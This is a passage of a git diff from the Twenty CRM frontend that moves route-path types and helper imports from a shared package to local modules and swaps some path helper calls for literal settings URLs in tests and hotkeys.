isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.NotFoundWildcard, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, @@ -310,7 +309,7 @@ const testCases: { { loc: AppPath.NotFoundWildcard, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.COMPLETED, res: undefined }, { loc: AppPath.NotFound, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PLAN_REQUIRED, res: AppPath.PlanRequired }, - { loc: AppPath.NotFound, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: getSettingsPath(SettingsPath.Billing) }, + { loc: AppPath.NotFound, isLoggedIn: true, isWorkspaceSuspended: true, onboardingStatus: OnboardingStatus.COMPLETED, res: '/settings/billing' }, { loc: AppPath.NotFound, isLoggedIn: false, isWorkspaceSuspended: false, onboardingStatus: undefined, res: AppPath.SignInUp }, { loc: AppPath.NotFound, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.WORKSPACE_ACTIVATION, res: AppPath.CreateWorkspace }, { loc: AppPath.NotFound, isLoggedIn: true, isWorkspaceSuspended: false, onboardingStatus: OnboardingStatus.PROFILE_CREATION, res: AppPath.CreateProfile }, diff --git a/packages/twenty-front/src/hooks/useNavigateApp.ts b/packages/twenty-front/src/hooks/useNavigateApp.ts index 7b1fb56880..5ef51ecbcb 100644 --- a/packages/twenty-front/src/hooks/useNavigateApp.ts +++ b/packages/twenty-front/src/hooks/useNavigateApp.ts @@ -1,6 +1,6 @@ +import { type AppPath } from '@/types/AppPath'; import { useNavigate } from 'react-router-dom'; -import { type AppPath } from 'twenty-shared/types'; -import { getAppPath } from 'twenty-shared/utils'; +import { getAppPath } from '~/utils/navigation/getAppPath'; export const useNavigateApp = () => { const navigate = useNavigate(); diff --git a/packages/twenty-front/src/hooks/useNavigateSettings.ts b/packages/twenty-front/src/hooks/useNavigateSettings.ts index 3fdb987f2d..f8e6c1186b 100644 --- a/packages/twenty-front/src/hooks/useNavigateSettings.ts +++ b/packages/twenty-front/src/hooks/useNavigateSettings.ts @@ -1,6 +1,6 @@ +import { type SettingsPath } from '@/types/SettingsPath'; import { useNavigate } from 'react-router-dom'; -import { type SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const useNavigateSettings = () => { const navigate = useNavigate(); diff --git a/packages/twenty-front/src/hooks/usePageChangeEffectNavigateLocation.ts b/packages/twenty-front/src/hooks/usePageChangeEffectNavigateLocation.ts index c27c48935f..d5c9a71bf7 100644 --- a/packages/twenty-front/src/hooks/usePageChangeEffectNavigateLocation.ts +++ b/packages/twenty-front/src/hooks/usePageChangeEffectNavigateLocation.ts @@ -4,10 +4,11 @@ import { useIsCurrentLocationOnAWorkspace } from '@/domain-manager/hooks/useIsCu import { useDefaultHomePagePath } from '@/navigation/hooks/useDefaultHomePagePath'; import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState'; import { useOnboardingStatus } from '@/onboarding/hooks/useOnboardingStatus'; +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { useIsWorkspaceActivationStatusEqualsTo } from '@/workspace/hooks/useIsWorkspaceActivationStatusEqualsTo'; import { useLocation, useParams } from 'react-router-dom'; import { useRecoilValue } from 'recoil'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { WorkspaceActivationStatus } from 'twenty-shared/workspace'; import { OnboardingStatus } from '~/generated/graphql'; diff --git a/packages/twenty-front/src/modules/action-menu/actions/components/ActionLink.tsx b/packages/twenty-front/src/modules/action-menu/actions/components/ActionLink.tsx index a2c5c956c0..6f898891df 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/components/ActionLink.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/components/ActionLink.tsx @@ -1,8 +1,8 @@ import { ActionDisplay } from '@/action-menu/actions/display/components/ActionDisplay'; import { useCloseActionMenu } from '@/action-menu/hooks/useCloseActionMenu'; +import { type AppPath } from '@/types/AppPath'; import { type PathParam } from 'react-router-dom'; -import { type AppPath } from 'twenty-shared/types'; -import { getAppPath } from 'twenty-shared/utils'; +import { getAppPath } from '~/utils/navigation/getAppPath'; export const ActionLink = ({ to, diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/DefaultRecordActionsConfig.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/DefaultRecordActionsConfig.tsx index 31779f2fa5..ec12f9e351 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/DefaultRecordActionsConfig.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/DefaultRecordActionsConfig.tsx @@ -29,10 +29,11 @@ import { CommandMenuPages } from '@/command-menu/types/CommandMenuPages'; import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural'; import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; import { BACKEND_BATCH_REQUEST_MAX_COUNT } from '@/object-record/constants/BackendBatchRequestMaxCount'; +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { msg } from '@lingui/core/macro'; import { isNonEmptyString } from '@sniptt/guards'; import { MUTATION_MAX_MERGE_RECORDS } from 'twenty-shared/constants'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/WorkflowActionsConfig.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/WorkflowActionsConfig.tsx index 7933801486..4bf986daca 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/WorkflowActionsConfig.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/WorkflowActionsConfig.tsx @@ -16,13 +16,13 @@ import { ActionScope } from '@/action-menu/actions/types/ActionScope'; import { ActionType } from '@/action-menu/actions/types/ActionType'; import { ActionViewType } from '@/action-menu/actions/types/ActionViewType'; import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural'; +import { AppPath } from '@/types/AppPath'; import { type WorkflowStep, type WorkflowTrigger, type WorkflowWithCurrentVersion, } from '@/workflow/types/Workflow'; import { msg } from '@lingui/core/macro'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { IconHistoryToggle, diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/WorkflowVersionsActionsConfig.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/WorkflowVersionsActionsConfig.tsx index bdca663ad3..b05d292f58 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/WorkflowVersionsActionsConfig.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/constants/WorkflowVersionsActionsConfig.tsx @@ -13,8 +13,8 @@ import { ActionScope } from '@/action-menu/actions/types/ActionScope'; import { ActionType } from '@/action-menu/actions/types/ActionType'; import { ActionViewType } from '@/action-menu/actions/types/ActionViewType'; import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural'; +import { AppPath } from '@/types/AppPath'; import { msg } from '@lingui/core/macro'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { IconHistoryToggle, diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/components/DestroySingleRecordAction.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/components/DestroySingleRecordAction.tsx index 98889a048e..30c26df561 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/components/DestroySingleRecordAction.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/components/DestroySingleRecordAction.tsx @@ -3,7 +3,7 @@ import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions import { useDestroyOneRecord } from '@/object-record/hooks/useDestroyOneRecord'; import { useRecordIndexIdFromCurrentContextStore } from '@/object-record/record-index/hooks/useRecordIndexIdFromCurrentContextStore'; import { useResetTableRowSelection } from '@/object-record/record-table/hooks/internal/useResetTableRowSelection'; -import { AppPath } from 'twenty-shared/types'; +import { AppPath } from '@/types/AppPath'; import { useNavigateApp } from '~/hooks/useNavigateApp'; export const DestroySingleRecordAction = () => { diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeActiveVersionWorkflowSingleRecordAction.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeActiveVersionWorkflowSingleRecordAction.tsx index f0a62dd69d..9fd0032d82 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeActiveVersionWorkflowSingleRecordAction.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeActiveVersionWorkflowSingleRecordAction.tsx @@ -2,8 +2,8 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink'; import { ActionDisplay } from '@/action-menu/actions/display/components/ActionDisplay'; import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow'; import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; +import { AppPath } from '@/types/AppPath'; import { useActiveWorkflowVersion } from '@/workflow/hooks/useActiveWorkflowVersion'; -import { AppPath } from 'twenty-shared/types'; export const SeeActiveVersionWorkflowSingleRecordAction = () => { const recordId = useSelectedRecordIdOrThrow(); diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeRunsWorkflowSingleRecordAction.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeRunsWorkflowSingleRecordAction.tsx index 71e276cd9d..7c0df2635d 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeRunsWorkflowSingleRecordAction.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeRunsWorkflowSingleRecordAction.tsx @@ -1,8 +1,9 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink'; import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow'; import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural'; +import { AppPath } from '@/types/AppPath'; import { useWorkflowWithCurrentVersion } from '@/workflow/hooks/useWorkflowWithCurrentVersion'; -import { AppPath, ViewFilterOperand } from 'twenty-shared/types'; +import { ViewFilterOperand } from 'twenty-shared/types'; export const SeeRunsWorkflowSingleRecordAction = () => { const recordId = useSelectedRecordIdOrThrow(); diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeVersionsWorkflowSingleRecordAction.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeVersionsWorkflowSingleRecordAction.tsx index 8ebb1e776a..e0bbfcd540 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeVersionsWorkflowSingleRecordAction.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-actions/components/SeeVersionsWorkflowSingleRecordAction.tsx @@ -1,8 +1,9 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink'; import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow'; import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural'; +import { AppPath } from '@/types/AppPath'; import { useWorkflowWithCurrentVersion } from '@/workflow/hooks/useWorkflowWithCurrentVersion'; -import { AppPath, ViewFilterOperand } from 'twenty-shared/types'; +import { ViewFilterOperand } from 'twenty-shared/types'; export const SeeVersionsWorkflowSingleRecordAction = () => { const recordId = useSelectedRecordIdOrThrow(); diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-run-actions/components/SeeVersionWorkflowRunSingleRecordAction.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-run-actions/components/SeeVersionWorkflowRunSingleRecordAction.tsx index 0979867045..0dc5da7dc2 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-run-actions/components/SeeVersionWorkflowRunSingleRecordAction.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-run-actions/components/SeeVersionWorkflowRunSingleRecordAction.tsx @@ -2,8 +2,8 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink'; import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow'; import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState'; +import { AppPath } from '@/types/AppPath'; import { useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; export const SeeVersionWorkflowRunSingleRecordAction = () => { diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-run-actions/components/SeeWorkflowWorkflowRunSingleRecordAction.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-run-actions/components/SeeWorkflowWorkflowRunSingleRecordAction.tsx index 91d951f725..7e0021280a 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-run-actions/components/SeeWorkflowWorkflowRunSingleRecordAction.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-run-actions/components/SeeWorkflowWorkflowRunSingleRecordAction.tsx @@ -2,8 +2,8 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink'; import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow'; import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState'; +import { AppPath } from '@/types/AppPath'; import { useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; export const SeeWorkflowWorkflowRunSingleRecordAction = () => { diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeRunsWorkflowVersionSingleRecordAction.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeRunsWorkflowVersionSingleRecordAction.tsx index 560d4861b1..6b19cd48eb 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeRunsWorkflowVersionSingleRecordAction.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeRunsWorkflowVersionSingleRecordAction.tsx @@ -2,9 +2,10 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink'; import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow'; import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural'; import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState'; +import { AppPath } from '@/types/AppPath'; import { useWorkflowWithCurrentVersion } from '@/workflow/hooks/useWorkflowWithCurrentVersion'; import { useRecoilValue } from 'recoil'; -import { AppPath, ViewFilterOperand } from 'twenty-shared/types'; +import { ViewFilterOperand } from 'twenty-shared/types'; export const SeeRunsWorkflowVersionSingleRecordAction = () => { const recordId = useSelectedRecordIdOrThrow(); diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeVersionsWorkflowVersionSingleRecordAction.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeVersionsWorkflowVersionSingleRecordAction.tsx index cd29e7fb16..d542a6781d 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeVersionsWorkflowVersionSingleRecordAction.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeVersionsWorkflowVersionSingleRecordAction.tsx @@ -2,9 +2,10 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink'; import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow'; import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural'; import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState'; +import { AppPath } from '@/types/AppPath'; import { useWorkflowWithCurrentVersion } from '@/workflow/hooks/useWorkflowWithCurrentVersion'; import { useRecoilValue } from 'recoil'; -import { AppPath, ViewFilterOperand } from 'twenty-shared/types'; +import { ViewFilterOperand } from 'twenty-shared/types'; export const SeeVersionsWorkflowVersionSingleRecordAction = () => { const recordId = useSelectedRecordIdOrThrow(); diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeWorkflowWorkflowVersionSingleRecordAction.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeWorkflowWorkflowVersionSingleRecordAction.tsx index 5c888ccc6c..09edcfdb08 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeWorkflowWorkflowVersionSingleRecordAction.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/SeeWorkflowWorkflowVersionSingleRecordAction.tsx @@ -2,8 +2,8 @@ import { ActionLink } from '@/action-menu/actions/components/ActionLink'; import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow'; import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState'; +import { AppPath } from '@/types/AppPath'; import { useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; export const SeeWorkflowWorkflowVersionSingleRecordAction = () => { const recordId = useSelectedRecordIdOrThrow(); diff --git a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/UseAsDraftWorkflowVersionSingleRecordAction.tsx b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/UseAsDraftWorkflowVersionSingleRecordAction.tsx index ba258c153e..d26d7f42de 100644 --- a/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/UseAsDraftWorkflowVersionSingleRecordAction.tsx +++ b/packages/twenty-front/src/modules/action-menu/actions/record-actions/single-record/workflow-version-actions/components/UseAsDraftWorkflowVersionSingleRecordAction.tsx @@ -1,6 +1,7 @@ import { Action } from '@/action-menu/actions/components/Action'; import { useSelectedRecordIdOrThrow } from '@/action-menu/actions/record-actions/single-record/hooks/useSelectedRecordIdOrThrow'; import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; +import { AppPath } from '@/types/AppPath'; import { useModal } from '@/ui/layout/modal/hooks/useModal'; import { OverrideWorkflowDraftConfirmationModal } from '@/workflow/components/OverrideWorkflowDraftConfirmationModal'; import { OVERRIDE_WORKFLOW_DRAFT_CONFIRMATION_MODAL_ID } from '@/workflow/constants/OverrideWorkflowDraftConfirmationModalId'; @@ -8,7 +9,6 @@ import { useCreateDraftFromWorkflowVersion } from '@/workflow/hooks/useCreateDra import { useWorkflowVersion } from '@/workflow/hooks/useWorkflowVersion'; import { useWorkflowWithCurrentVersion } from '@/workflow/hooks/useWorkflowWithCurrentVersion'; import { useState } from 'react'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { useNavigateApp } from '~/hooks/useNavigateApp'; diff --git a/packages/twenty-front/src/modules/action-menu/components/RecordShowRightDrawerOpenRecordButton.tsx b/packages/twenty-front/src/modules/action-menu/components/RecordShowRightDrawerOpenRecordButton.tsx index ffc93ea89f..09891c565a 100644 --- a/packages/twenty-front/src/modules/action-menu/components/RecordShowRightDrawerOpenRecordButton.tsx +++ b/packages/twenty-front/src/modules/action-menu/components/RecordShowRightDrawerOpenRecordButton.tsx @@ -8,6 +8,7 @@ import { contextStoreRecordShowParentViewComponentState } from '@/context-store/ import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; import { recordStoreFamilyState } from '@/object-record/record-store/states/recordStoreFamilyState'; import { type ObjectRecord } from '@/object-record/types/ObjectRecord'; +import { AppPath } from '@/types/AppPath'; import { useCloseDropdown } from '@/ui/layout/dropdown/hooks/useCloseDropdown'; import { getShowPageTabListComponentId } from '@/ui/layout/show-page/utils/getShowPageTabListComponentId'; import { activeTabIdComponentState } from '@/ui/layout/tab-list/states/activeTabIdComponentState'; @@ -18,7 +19,6 @@ import { useRecoilComponentCallbackState } from '@/ui/utilities/state/component- import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; import { useSetRecoilComponentState } from '@/ui/utilities/state/component-state/hooks/useSetRecoilComponentState'; import { useRecoilCallback, useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { IconBrowserMaximize } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; diff --git a/packages/twenty-front/src/modules/action-menu/mock/action-menu-actions.mock.tsx b/packages/twenty-front/src/modules/action-menu/mock/action-menu-actions.mock.tsx index 8fb3a15667..9a60488844 100644 --- a/packages/twenty-front/src/modules/action-menu/mock/action-menu-actions.mock.tsx +++ b/packages/twenty-front/src/modules/action-menu/mock/action-menu-actions.mock.tsx @@ -8,8 +8,8 @@ import { ActionType } from '@/action-menu/actions/types/ActionType'; import { ActionViewType } from '@/action-menu/actions/types/ActionViewType'; import { CoreObjectNamePlural } from '@/object-metadata/types/CoreObjectNamePlural'; import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; +import { AppPath } from '@/types/AppPath'; import { msg } from '@lingui/core/macro'; -import { AppPath } from 'twenty-shared/types'; import { IconFileExport, IconHeart, diff --git a/packages/twenty-front/src/modules/apollo/hooks/useApolloFactory.ts b/packages/twenty-front/src/modules/apollo/hooks/useApolloFactory.ts index ef1e9fca12..beb8361dcc 100644 --- a/packages/twenty-front/src/modules/apollo/hooks/useApolloFactory.ts +++ b/packages/twenty-front/src/modules/apollo/hooks/useApolloFactory.ts @@ -14,8 +14,8 @@ import { isMatchingLocation } from '~/utils/isMatchingLocation'; import { currentUserWorkspaceState } from '@/auth/states/currentUserWorkspaceState'; import { appVersionState } from '@/client-config/states/appVersionState'; +import { AppPath } from '@/types/AppPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { ApolloFactory, type Options } from '../services/apollo.factory'; diff --git a/packages/twenty-front/src/modules/app/components/SettingsRoutes.tsx b/packages/twenty-front/src/modules/app/components/SettingsRoutes.tsx index 5a9523c48c..b30c958871 100644 --- a/packages/twenty-front/src/modules/app/components/SettingsRoutes.tsx +++ b/packages/twenty-front/src/modules/app/components/SettingsRoutes.tsx @@ -3,7 +3,7 @@ import { Route, Routes } from 'react-router-dom'; import { SettingsProtectedRouteWrapper } from '@/settings/components/SettingsProtectedRouteWrapper'; import { SettingsSkeletonLoader } from '@/settings/components/SettingsSkeletonLoader'; -import { SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; import { PermissionFlagType } from '~/generated/graphql'; const SettingsGraphQLPlayground = lazy(() => diff --git a/packages/twenty-front/src/modules/app/effect-components/GotoHotkeysEffectsProvider.tsx b/packages/twenty-front/src/modules/app/effect-components/GotoHotkeysEffectsProvider.tsx index 3b239b7005..44975bce35 100644 --- a/packages/twenty-front/src/modules/app/effect-components/GotoHotkeysEffectsProvider.tsx +++ b/packages/twenty-front/src/modules/app/effect-components/GotoHotkeysEffectsProvider.tsx @@ -4,8 +4,6 @@ import { isNavigationDrawerExpandedState } from '@/ui/navigation/states/isNaviga import { navigationDrawerExpandedMemorizedState } from '@/ui/navigation/states/navigationDrawerExpandedMemorizedState'; import { useGoToHotkeys } from '@/ui/utilities/hotkey/hooks/useGoToHotkeys'; import { useRecoilCallback } from 'recoil'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; -import { getAppPath, getSettingsPath } from 'twenty-shared/utils'; export const GotoHotkeysEffectsProvider = () => { const { activeNonSystemObjectMetadataItems } = @@ -13,7 +11,7 @@ export const GotoHotkeysEffectsProvider = () => { useGoToHotkeys({ key: 's', - location: getSettingsPath(SettingsPath.ProfilePage), + location: '/settings/profile', preNavigateFunction: useRecoilCallback( ({ set }) => () => { @@ -33,9 +31,7 @@ export const GotoHotkeysEffectsProvider = () => { ); }); diff --git a/packages/twenty-front/src/modules/app/effect-components/PageChangeEffect.tsx b/packages/twenty-front/src/modules/app/effect-components/PageChangeEffect.tsx index 79164665a7..f31e84d5ff 100644 --- a/packages/twenty-front/src/modules/app/effect-components/PageChangeEffect.tsx +++ b/packages/twenty-front/src/modules/app/effect-components/PageChangeEffect.tsx @@ -29,11 +29,12 @@ import { useResetTableRowSelection } from '@/object-record/record-table/hooks/in import { useActiveRecordTableRow } from '@/object-record/record-table/hooks/useActiveRecordTableRow'; import { useFocusedRecordTableRow } from '@/object-record/record-table/hooks/useFocusedRecordTableRow'; import { getRecordIndexIdFromObjectNamePluralAndViewId } from '@/object-record/utils/getRecordIndexIdFromObjectNamePluralAndViewId'; +import { AppBasePath } from '@/types/AppBasePath'; +import { AppPath } from '@/types/AppPath'; import { PageFocusId } from '@/types/PageFocusId'; import { useResetFocusStackToFocusItem } from '@/ui/utilities/focus/hooks/useResetFocusStackToFocusItem'; import { FocusComponentType } from '@/ui/utilities/focus/types/FocusComponentType'; import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; -import { AppBasePath, AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { AnalyticsType } from '~/generated/graphql'; import { usePageChangeEffectNavigateLocation } from '~/hooks/usePageChangeEffectNavigateLocation'; diff --git a/packages/twenty-front/src/modules/app/hooks/useCreateAppRouter.tsx b/packages/twenty-front/src/modules/app/hooks/useCreateAppRouter.tsx index 5b9c9653bc..f6c4df788c 100644 --- a/packages/twenty-front/src/modules/app/hooks/useCreateAppRouter.tsx +++ b/packages/twenty-front/src/modules/app/hooks/useCreateAppRouter.tsx @@ -4,9 +4,9 @@ import { VerifyLoginTokenEffect } from '@/auth/components/VerifyLoginTokenEffect import { VerifyEmailEffect } from '@/auth/components/VerifyEmailEffect'; import indexAppPath from '@/navigation/utils/indexAppPath'; +import { AppPath } from '@/types/AppPath'; import { BlankLayout } from '@/ui/layout/page/components/BlankLayout'; import { DefaultLayout } from '@/ui/layout/page/components/DefaultLayout'; -import { AppPath } from 'twenty-shared/types'; import { createBrowserRouter, diff --git a/packages/twenty-front/src/modules/auth/components/Logo.tsx b/packages/twenty-front/src/modules/auth/components/Logo.tsx index 957ed33be8..4ade282f9b 100644 --- a/packages/twenty-front/src/modules/auth/components/Logo.tsx +++ b/packages/twenty-front/src/modules/auth/components/Logo.tsx @@ -1,11 +1,11 @@ import styled from '@emotion/styled'; import { isNonEmptyString } from '@sniptt/guards'; -import { AppPath } from 'twenty-shared/types'; import { getImageAbsoluteURI, isDefined } from 'twenty-shared/utils'; import { Avatar } from 'twenty-ui/display'; import { UndecoratedLink } from 'twenty-ui/navigation'; import { REACT_APP_SERVER_BASE_URL } from '~/config'; import { useRedirectToDefaultDomain } from '~/modules/domain-manager/hooks/useRedirectToDefaultDomain'; +import { AppPath } from '~/modules/types/AppPath'; type LogoProps = { primaryLogo?: string | null; diff --git a/packages/twenty-front/src/modules/auth/components/TwoFactorAuthenticationProvisionEffect.tsx b/packages/twenty-front/src/modules/auth/components/TwoFactorAuthenticationProvisionEffect.tsx index f744d318fe..b238ec8f4c 100644 --- a/packages/twenty-front/src/modules/auth/components/TwoFactorAuthenticationProvisionEffect.tsx +++ b/packages/twenty-front/src/modules/auth/components/TwoFactorAuthenticationProvisionEffect.tsx @@ -2,11 +2,11 @@ import { loginTokenState } from '@/auth/states/loginTokenState'; import { qrCodeState } from '@/auth/states/qrCode'; import { useOrigin } from '@/domain-manager/hooks/useOrigin'; import { useCurrentUserWorkspaceTwoFactorAuthentication } from '@/settings/two-factor-authentication/hooks/useCurrentUserWorkspaceTwoFactorAuthentication'; +import { AppPath } from '@/types/AppPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { useLingui } from '@lingui/react/macro'; import { useEffect } from 'react'; import { useRecoilValue, useSetRecoilState } from 'recoil'; -import { 